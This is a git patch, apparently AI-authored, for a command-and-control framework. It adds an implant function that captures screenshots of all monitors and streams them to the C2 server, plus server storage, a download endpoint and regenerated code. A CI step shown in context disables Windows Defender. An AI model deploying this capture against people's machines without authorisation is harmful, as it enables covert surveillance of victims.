From 33c993f0f3a31f355cd94bb767d8c69ed3d6b8a1 Mon Sep 17 00:00:00 2001 From: "google-labs-jules[bot]" <161369871+google-labs-jules[bot]@users.noreply.github.com> Date: Thu, 26 Feb 2026 04:41:08 +0000 Subject: [PATCH 1/8] Implement report.screenshot() functionality - **Implants:** - Added `xcap` and `image` dependencies to `eldritch-libreport`. - Implemented `screenshot()` method in `ReportLibrary` to capture and stream screenshots of all monitors. - Updated `fake` report library for testing. - **Tavern Backend:** - Created `Screenshot` Ent schema with `name`, `size`, `hash`, `content` fields. - Added `screenshots` edges to `Host`, `Task`, and `ShellTask`. - Updated `ReportFile` C2 handler to route `ReportFileKind_REPORT_FILE_KIND_SCREENSHOT` to the `Screenshot` entity. - Added `NewScreenshotDownloadHandler` for authenticated screenshot downloads at `/cdn/screenshots/`. - **Infrastructure:** - Updated `.devcontainer/Dockerfile` and `.github/workflows/tests.yml` to install Linux dependencies (`libx11-dev`, `libxcb1-dev`, etc.) required by `xcap`. Co-authored-by: KCarretto <16250309+KCarretto@users.noreply.github.com> --- .devcontainer/Dockerfile | 2 +- .github/workflows/tests.yml | 3 + .../stdlib/eldritch-libreport/Cargo.toml | 4 +- .../stdlib/eldritch-libreport/src/fake.rs | 4 + .../stdlib/eldritch-libreport/src/lib.rs | 7 + .../stdlib/eldritch-libreport/src/std/mod.rs | 5 + .../src/std/screenshot_impl.rs | 138 + tavern/app.go | 3 + .../internal/builder/builderpb/builder.pb.go | 237 +- .../builder/builderpb/builder_grpc.pb.go | 41 +- tavern/internal/c2/api_report_file.go | 101 +- tavern/internal/cdn/download_screenshot.go | 55 + tavern/internal/ent/client.go | 250 +- tavern/internal/ent/ent.go | 2 + tavern/internal/ent/gql_collection.go | 340 ++ tavern/internal/ent/gql_edge.go | 78 + tavern/internal/ent/gql_mutation_input.go | 12 + tavern/internal/ent/gql_node.go | 31 + tavern/internal/ent/gql_pagination.go | 387 ++ tavern/internal/ent/gql_where_input.go | 475 +++ tavern/internal/ent/hook/hook.go | 12 + tavern/internal/ent/host.go | 45 +- tavern/internal/ent/host/host.go | 30 + tavern/internal/ent/host/where.go | 23 + tavern/internal/ent/host_create.go | 32 + tavern/internal/ent/host_query.go | 99 +- tavern/internal/ent/host_update.go | 163 + tavern/internal/ent/migrate/schema.go | 46 + tavern/internal/ent/mutation.go | 1403 ++++++- tavern/internal/ent/portal.go | 2 +- tavern/internal/ent/predicate/predicate.go | 3 + tavern/internal/ent/privacy/privacy.go | 24 + tavern/internal/ent/runtime/runtime.go | 32 + tavern/internal/ent/schema/host.go | 7 + tavern/internal/ent/schema/screenshot.go | 136 + tavern/internal/ent/schema/shell_task.go | 5 + tavern/internal/ent/schema/task.go | 6 + tavern/internal/ent/screenshot.go | 262 ++ tavern/internal/ent/screenshot/screenshot.go | 191 + tavern/internal/ent/screenshot/where.go | 480 +++ tavern/internal/ent/screenshot_create.go | 926 ++++ tavern/internal/ent/screenshot_delete.go | 88 + tavern/internal/ent/screenshot_query.go | 777 ++++ tavern/internal/ent/screenshot_update.go | 763 ++++ tavern/internal/ent/shelltask.go | 45 +- tavern/internal/ent/shelltask/shelltask.go | 30 + tavern/internal/ent/shelltask/where.go | 23 + tavern/internal/ent/shelltask_create.go | 32 + tavern/internal/ent/shelltask_query.go | 99 +- tavern/internal/ent/shelltask_update.go | 163 + tavern/internal/ent/task.go | 45 +- tavern/internal/ent/task/task.go | 30 + tavern/internal/ent/task/where.go | 23 + tavern/internal/ent/task_create.go | 32 + tavern/internal/ent/task_query.go | 99 +- tavern/internal/ent/task_update.go | 163 + tavern/internal/ent/tx.go | 3 + .../graphql/generated/ent.generated.go | 3741 +++++++++++++---- .../graphql/generated/mutation.generated.go | 2 + .../graphql/generated/root_.generated.go | 432 +- tavern/internal/graphql/schema.graphql | 275 +- tavern/internal/graphql/schema/ent.graphql | 275 +- tavern/internal/www/schema.graphql | 275 +- tavern/portals/portalpb/portal.pb.go | 271 +- tavern/portals/portalpb/portal_grpc.pb.go | 27 +- tavern/portals/tracepb/trace.pb.go | 84 +- 66 files changed, 12574 insertions(+), 1325 deletions(-) create mode 100644 implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs create mode 100644 tavern/internal/cdn/download_screenshot.go create mode 100644 tavern/internal/ent/schema/screenshot.go create mode 100644 tavern/internal/ent/screenshot.go create mode 100644 tavern/internal/ent/screenshot/screenshot.go create mode 100644 tavern/internal/ent/screenshot/where.go create mode 100644 tavern/internal/ent/screenshot_create.go create mode 100644 tavern/internal/ent/screenshot_delete.go create mode 100644 tavern/internal/ent/screenshot_query.go create mode 100644 tavern/internal/ent/screenshot_update.go diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile index d5290075a..a0bcd5e28 100644 --- a/.devcontainer/Dockerfile +++ b/.devcontainer/Dockerfile @@ -22,7 +22,7 @@ RUN bash /tmp/library-scripts/jekyll-debian.sh # - Git: git-lfs # - Rust Cross-compilation: musl-tools gcc-mingw-w64 # - Protobuf: protobuf-compiler protoc-gen-go protoc-gen -RUN apt update && apt install -y git-lfs musl-tools gcc-mingw-w64 protobuf-compiler protoc-gen-go protoc-gen-go-grpc +RUN apt update && apt install -y git-lfs musl-tools gcc-mingw-w64 protobuf-compiler protoc-gen-go protoc-gen-go-grpc libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev RUN echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" \ | tee -a /etc/apt/sources.list.d/google-cloud-sdk.list && curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | \ diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index b402dcd24..77cb8a7f7 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -81,6 +81,9 @@ jobs: run: start-process -filepath powershell -ArgumentList '/c','Set-MpPreference -DisableRealtimeMonitoring $true' -verb RunAs name: 👾 Disable defender shell: powershell + - name: Install system dependencies (Linux) + if: matrix.os == 'ubuntu-latest' + run: sudo apt-get update && sudo apt-get install -y libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev - name: Setup Rust uses: dtolnay/rust-toolchain@master with: diff --git a/implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml b/implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml index 92797a426..937de9dee 100644 --- a/implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml +++ b/implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml @@ -10,8 +10,10 @@ eldritch-agent = { workspace = true, optional = true } pb = { workspace = true, optional = true } nix = { workspace = true, optional = true } spin = { version = "0.10.0", features = ["rwlock"] } +xcap = { version = "0.0.14", optional = true } +image = { version = "0.25", optional = true } [features] default = ["stdlib"] -stdlib = ["dep:pb", "dep:eldritch-agent", "dep:nix"] +stdlib = ["dep:pb", "dep:eldritch-agent", "dep:nix", "dep:xcap", "dep:image"] fake_bindings = [] diff --git a/implants/lib/eldritch/stdlib/eldritch-libreport/src/fake.rs b/implants/lib/eldritch/stdlib/eldritch-libreport/src/fake.rs index 9a51c1f1b..31818a429 100644 --- a/implants/lib/eldritch/stdlib/eldritch-libreport/src/fake.rs +++ b/implants/lib/eldritch/stdlib/eldritch-libreport/src/fake.rs @@ -29,6 +29,10 @@ impl ReportLibrary for ReportLibraryFake { fn ntlm_hash(&self, _username: String, _hash: String) -> Result<(), String> { Ok(()) } + + fn screenshot(&self) -> Result<(), String> { + Ok(()) + } } #[cfg(all(test, feature = "fake_bindings"))] diff --git a/implants/lib/eldritch/stdlib/eldritch-libreport/src/lib.rs b/implants/lib/eldritch/stdlib/eldritch-libreport/src/lib.rs index 576b13ecd..9c550e035 100644 --- a/implants/lib/eldritch/stdlib/eldritch-libreport/src/lib.rs +++ b/implants/lib/eldritch/stdlib/eldritch-libreport/src/lib.rs @@ -78,4 +78,11 @@ pub trait ReportLibrary { /// **Returns** /// - `None` fn ntlm_hash(&self, username: String, hash: String) -> Result<(), String>; + + #[eldritch_method] + /// Reports a screenshot of all screens. + /// + /// **Returns** + /// - `None` + fn screenshot(&self) -> Result<(), String>; } diff --git a/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/mod.rs b/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/mod.rs index a9840c81b..68ee23176 100644 --- a/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/mod.rs +++ b/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/mod.rs @@ -10,6 +10,7 @@ use eldritch_macros::eldritch_library_impl; pub mod file_impl; pub mod ntlm_hash_impl; pub mod process_list_impl; +pub mod screenshot_impl; pub mod ssh_key_impl; pub mod user_password_impl; @@ -58,4 +59,8 @@ impl ReportLibrary for StdReportLibrary { fn ntlm_hash(&self, username: String, hash: String) -> Result<(), String> { ntlm_hash_impl::ntlm_hash(self.agent.clone(), self.context.clone(), username, hash) } + + fn screenshot(&self) -> Result<(), String> { + screenshot_impl::screenshot(self.agent.clone(), self.context.clone()) + } } diff --git a/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs b/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs new file mode 100644 index 000000000..bb2f6725f --- /dev/null +++ b/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs @@ -0,0 +1,138 @@ +use alloc::format; +use alloc::string::{String, ToString}; +use alloc::sync::Arc; +use alloc::vec::Vec; +use eldritch_agent::{Agent, Context}; +use pb::c2::report_file_request; +use pb::{c2, eldritch}; +use std::io::Cursor; +use std::sync::Mutex; +use xcap::Monitor; +use image::ImageFormat; + +#[cfg(all(unix, feature = "stdlib"))] +fn get_hostname() -> String { + nix::unistd::gethostname() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_else(|_| "unknown".to_string()) +} + +#[cfg(all(unix, not(feature = "stdlib")))] +fn get_hostname() -> String { + std::env::var("HOSTNAME").unwrap_or_else(|_| "unknown".to_string()) +} + +#[cfg(windows)] +fn get_hostname() -> String { + std::env::var("COMPUTERNAME").unwrap_or_else(|_| "unknown".to_string()) +} + +#[cfg(not(any(unix, windows)))] +fn get_hostname() -> String { + "unknown".to_string() +} + +pub fn screenshot(agent: Arc, context: Context) -> Result<(), String> { + let monitors = Monitor::all().map_err(|e| e.to_string())?; + + if monitors.is_empty() { + return Ok(()); + } + + let hostname = get_hostname(); + + for (i, monitor) in monitors.iter().enumerate() { + // Capture image + let image = monitor.capture_image().map_err(|e| e.to_string())?; + + // Convert to PNG + let mut buffer = Cursor::new(Vec::new()); + image + .write_to(&mut buffer, ImageFormat::Png) + .map_err(|e| e.to_string())?; + let png_data = buffer.into_inner(); + + let timestamp = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs(); + + let filename = format!("screenshot_{}_{}_{}.png", hostname, timestamp, i); + + // Prepare context + let context_val = match context { + Context::Task(ref tc) => Some(report_file_request::Context::TaskContext(tc.clone())), + Context::ShellTask(ref stc) => { + Some(report_file_request::Context::ShellTaskContext(stc.clone())) + } + }; + + // Error handling for the streaming thread + let error: Arc>> = Arc::new(Mutex::new(None)); + + // Use a sync channel with bound 1 to provide backpressure + let (tx, rx) = std::sync::mpsc::sync_channel(1); + + let chunk_size = 1024 * 1024; // 1MB + let total_size = png_data.len(); + + let png_data_clone = png_data.clone(); + let filename_clone = filename.clone(); + let context_val_clone = context_val.clone(); + + // Spawn thread for streaming + std::thread::spawn(move || { + let mut offset = 0; + let mut metadata_sent = false; + + loop { + if offset >= total_size { + break; + } + + let end = std::cmp::min(offset + chunk_size, total_size); + let chunk_data = png_data_clone[offset..end].to_vec(); + + let metadata = if !metadata_sent { + metadata_sent = true; + Some(eldritch::FileMetadata { + path: filename_clone.clone(), + permissions: "644".to_string(), + owner: "root".to_string(), + group: "root".to_string(), + size: total_size as u64, + ..Default::default() + }) + } else { + None + }; + + let file_msg = eldritch::File { + metadata, + chunk: chunk_data, + }; + + let req = c2::ReportFileRequest { + context: context_val_clone.clone(), + chunk: Some(file_msg), + kind: c2::ReportFileKind::Screenshot as i32, + }; + + if tx.send(req).is_err() { + break; + } + + offset += chunk_size; + } + }); + + // Send stream to agent (blocking) + agent.report_file(rx).map(|_| ())?; + + if let Some(e) = error.lock().unwrap().as_ref() { + return Err(e.clone()); + } + } + + Ok(()) +} diff --git a/tavern/app.go b/tavern/app.go index 52b62b8ee..22806ae83 100644 --- a/tavern/app.go +++ b/tavern/app.go @@ -364,6 +364,9 @@ func NewServer(ctx context.Context, options ...func(*Config)) (*Server, error) { "/cdn/hostfiles/": tavernhttp.Endpoint{ Handler: cdn.NewHostFileDownloadHandler(client, "/cdn/hostfiles/"), }, + "/cdn/screenshots/": tavernhttp.Endpoint{ + Handler: cdn.NewScreenshotDownloadHandler(client, "/cdn/screenshots/"), + }, "/assets/download/": tavernhttp.Endpoint{ Handler: cdn.NewDownloadHandler(client, "/assets/download/"), }, diff --git a/tavern/internal/builder/builderpb/builder.pb.go b/tavern/internal/builder/builderpb/builder.pb.go index 9b043509a..f8d27e751 100644 --- a/tavern/internal/builder/builderpb/builder.pb.go +++ b/tavern/internal/builder/builderpb/builder.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.5 +// protoc-gen-go v1.32.0 // protoc v3.21.12 // source: builder.proto @@ -11,7 +11,6 @@ import ( protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" - unsafe "unsafe" ) const ( @@ -74,16 +73,18 @@ func (TargetFormat) EnumDescriptor() ([]byte, []int) { } type ClaimBuildTasksRequest struct { - state protoimpl.MessageState `protogen:"open.v1"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields } func (x *ClaimBuildTasksRequest) Reset() { *x = ClaimBuildTasksRequest{} - mi := &file_builder_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_builder_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *ClaimBuildTasksRequest) String() string { @@ -94,7 +95,7 @@ func (*ClaimBuildTasksRequest) ProtoMessage() {} func (x *ClaimBuildTasksRequest) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[0] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -110,22 +111,25 @@ func (*ClaimBuildTasksRequest) Descriptor() ([]byte, []int) { } type BuildTaskSpec struct { - state protoimpl.MessageState `protogen:"open.v1"` - Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` - TargetOs string `protobuf:"bytes,2,opt,name=target_os,json=targetOs,proto3" json:"target_os,omitempty"` - BuildImage string `protobuf:"bytes,3,opt,name=build_image,json=buildImage,proto3" json:"build_image,omitempty"` - BuildScript string `protobuf:"bytes,4,opt,name=build_script,json=buildScript,proto3" json:"build_script,omitempty"` - ArtifactPath string `protobuf:"bytes,6,opt,name=artifact_path,json=artifactPath,proto3" json:"artifact_path,omitempty"` - Env []string `protobuf:"bytes,7,rep,name=env,proto3" json:"env,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Id int64 `protobuf:"varint,1,opt,name=id,proto3" json:"id,omitempty"` + TargetOs string `protobuf:"bytes,2,opt,name=target_os,json=targetOs,proto3" json:"target_os,omitempty"` + BuildImage string `protobuf:"bytes,3,opt,name=build_image,json=buildImage,proto3" json:"build_image,omitempty"` + BuildScript string `protobuf:"bytes,4,opt,name=build_script,json=buildScript,proto3" json:"build_script,omitempty"` + ArtifactPath string `protobuf:"bytes,6,opt,name=artifact_path,json=artifactPath,proto3" json:"artifact_path,omitempty"` + Env []string `protobuf:"bytes,7,rep,name=env,proto3" json:"env,omitempty"` } func (x *BuildTaskSpec) Reset() { *x = BuildTaskSpec{} - mi := &file_builder_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_builder_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *BuildTaskSpec) String() string { @@ -136,7 +140,7 @@ func (*BuildTaskSpec) ProtoMessage() {} func (x *BuildTaskSpec) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[1] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -194,17 +198,20 @@ func (x *BuildTaskSpec) GetEnv() []string { } type ClaimBuildTasksResponse struct { - state protoimpl.MessageState `protogen:"open.v1"` - Tasks []*BuildTaskSpec `protobuf:"bytes,1,rep,name=tasks,proto3" json:"tasks,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Tasks []*BuildTaskSpec `protobuf:"bytes,1,rep,name=tasks,proto3" json:"tasks,omitempty"` } func (x *ClaimBuildTasksResponse) Reset() { *x = ClaimBuildTasksResponse{} - mi := &file_builder_proto_msgTypes[2] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_builder_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *ClaimBuildTasksResponse) String() string { @@ -215,7 +222,7 @@ func (*ClaimBuildTasksResponse) ProtoMessage() {} func (x *ClaimBuildTasksResponse) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[2] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -238,21 +245,24 @@ func (x *ClaimBuildTasksResponse) GetTasks() []*BuildTaskSpec { } type StreamBuildTaskOutputRequest struct { - state protoimpl.MessageState `protogen:"open.v1"` - TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` - Output string `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` - Error string `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` - Finished bool `protobuf:"varint,4,opt,name=finished,proto3" json:"finished,omitempty"` - ExitCode int64 `protobuf:"varint,5,opt,name=exit_code,json=exitCode,proto3" json:"exit_code,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + Output string `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` + Error string `protobuf:"bytes,3,opt,name=error,proto3" json:"error,omitempty"` + Finished bool `protobuf:"varint,4,opt,name=finished,proto3" json:"finished,omitempty"` + ExitCode int64 `protobuf:"varint,5,opt,name=exit_code,json=exitCode,proto3" json:"exit_code,omitempty"` } func (x *StreamBuildTaskOutputRequest) Reset() { *x = StreamBuildTaskOutputRequest{} - mi := &file_builder_proto_msgTypes[3] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_builder_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *StreamBuildTaskOutputRequest) String() string { @@ -263,7 +273,7 @@ func (*StreamBuildTaskOutputRequest) ProtoMessage() {} func (x *StreamBuildTaskOutputRequest) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[3] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -314,16 +324,18 @@ func (x *StreamBuildTaskOutputRequest) GetExitCode() int64 { } type StreamBuildTaskOutputResponse struct { - state protoimpl.MessageState `protogen:"open.v1"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields } func (x *StreamBuildTaskOutputResponse) Reset() { *x = StreamBuildTaskOutputResponse{} - mi := &file_builder_proto_msgTypes[4] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_builder_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *StreamBuildTaskOutputResponse) String() string { @@ -334,7 +346,7 @@ func (*StreamBuildTaskOutputResponse) ProtoMessage() {} func (x *StreamBuildTaskOutputResponse) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[4] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -350,19 +362,22 @@ func (*StreamBuildTaskOutputResponse) Descriptor() ([]byte, []int) { } type UploadBuildArtifactRequest struct { - state protoimpl.MessageState `protogen:"open.v1"` - TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` - ArtifactName string `protobuf:"bytes,2,opt,name=artifact_name,json=artifactName,proto3" json:"artifact_name,omitempty"` - Chunk []byte `protobuf:"bytes,3,opt,name=chunk,proto3" json:"chunk,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + TaskId int64 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"task_id,omitempty"` + ArtifactName string `protobuf:"bytes,2,opt,name=artifact_name,json=artifactName,proto3" json:"artifact_name,omitempty"` + Chunk []byte `protobuf:"bytes,3,opt,name=chunk,proto3" json:"chunk,omitempty"` } func (x *UploadBuildArtifactRequest) Reset() { *x = UploadBuildArtifactRequest{} - mi := &file_builder_proto_msgTypes[5] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_builder_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *UploadBuildArtifactRequest) String() string { @@ -373,7 +388,7 @@ func (*UploadBuildArtifactRequest) ProtoMessage() {} func (x *UploadBuildArtifactRequest) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[5] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -410,17 +425,20 @@ func (x *UploadBuildArtifactRequest) GetChunk() []byte { } type UploadBuildArtifactResponse struct { - state protoimpl.MessageState `protogen:"open.v1"` - AssetId int64 `protobuf:"varint,1,opt,name=asset_id,json=assetId,proto3" json:"asset_id,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + AssetId int64 `protobuf:"varint,1,opt,name=asset_id,json=assetId,proto3" json:"asset_id,omitempty"` } func (x *UploadBuildArtifactResponse) Reset() { *x = UploadBuildArtifactResponse{} - mi := &file_builder_proto_msgTypes[6] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_builder_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *UploadBuildArtifactResponse) String() string { @@ -431,7 +449,7 @@ func (*UploadBuildArtifactResponse) ProtoMessage() {} func (x *UploadBuildArtifactResponse) ProtoReflect() protoreflect.Message { mi := &file_builder_proto_msgTypes[6] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -455,7 +473,7 @@ func (x *UploadBuildArtifactResponse) GetAssetId() int64 { var File_builder_proto protoreflect.FileDescriptor -var file_builder_proto_rawDesc = string([]byte{ +var file_builder_proto_rawDesc = []byte{ 0x0a, 0x0d, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x07, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x22, 0x18, 0x0a, 0x16, 0x43, 0x6c, 0x61, 0x69, 0x6d, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, @@ -530,23 +548,23 @@ var file_builder_proto_rawDesc = string([]byte{ 0x6e, 0x2f, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x2f, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x2f, 0x62, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -}) +} var ( file_builder_proto_rawDescOnce sync.Once - file_builder_proto_rawDescData []byte + file_builder_proto_rawDescData = file_builder_proto_rawDesc ) func file_builder_proto_rawDescGZIP() []byte { file_builder_proto_rawDescOnce.Do(func() { - file_builder_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_builder_proto_rawDesc), len(file_builder_proto_rawDesc))) + file_builder_proto_rawDescData = protoimpl.X.CompressGZIP(file_builder_proto_rawDescData) }) return file_builder_proto_rawDescData } var file_builder_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_builder_proto_msgTypes = make([]protoimpl.MessageInfo, 7) -var file_builder_proto_goTypes = []any{ +var file_builder_proto_goTypes = []interface{}{ (TargetFormat)(0), // 0: builder.TargetFormat (*ClaimBuildTasksRequest)(nil), // 1: builder.ClaimBuildTasksRequest (*BuildTaskSpec)(nil), // 2: builder.BuildTaskSpec @@ -576,11 +594,97 @@ func file_builder_proto_init() { if File_builder_proto != nil { return } + if !protoimpl.UnsafeEnabled { + file_builder_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ClaimBuildTasksRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_builder_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*BuildTaskSpec); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_builder_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ClaimBuildTasksResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_builder_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*StreamBuildTaskOutputRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_builder_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*StreamBuildTaskOutputResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_builder_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*UploadBuildArtifactRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_builder_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*UploadBuildArtifactResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: unsafe.Slice(unsafe.StringData(file_builder_proto_rawDesc), len(file_builder_proto_rawDesc)), + RawDescriptor: file_builder_proto_rawDesc, NumEnums: 1, NumMessages: 7, NumExtensions: 0, @@ -592,6 +696,7 @@ func file_builder_proto_init() { MessageInfos: file_builder_proto_msgTypes, }.Build() File_builder_proto = out.File + file_builder_proto_rawDesc = nil file_builder_proto_goTypes = nil file_builder_proto_depIdxs = nil } diff --git a/tavern/internal/builder/builderpb/builder_grpc.pb.go b/tavern/internal/builder/builderpb/builder_grpc.pb.go index e1e3e13ca..21c810100 100644 --- a/tavern/internal/builder/builderpb/builder_grpc.pb.go +++ b/tavern/internal/builder/builderpb/builder_grpc.pb.go @@ -1,8 +1,4 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. -// versions: -// - protoc-gen-go-grpc v1.3.0 -// - protoc v3.21.12 -// source: builder.proto package builderpb @@ -15,14 +11,7 @@ import ( // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. 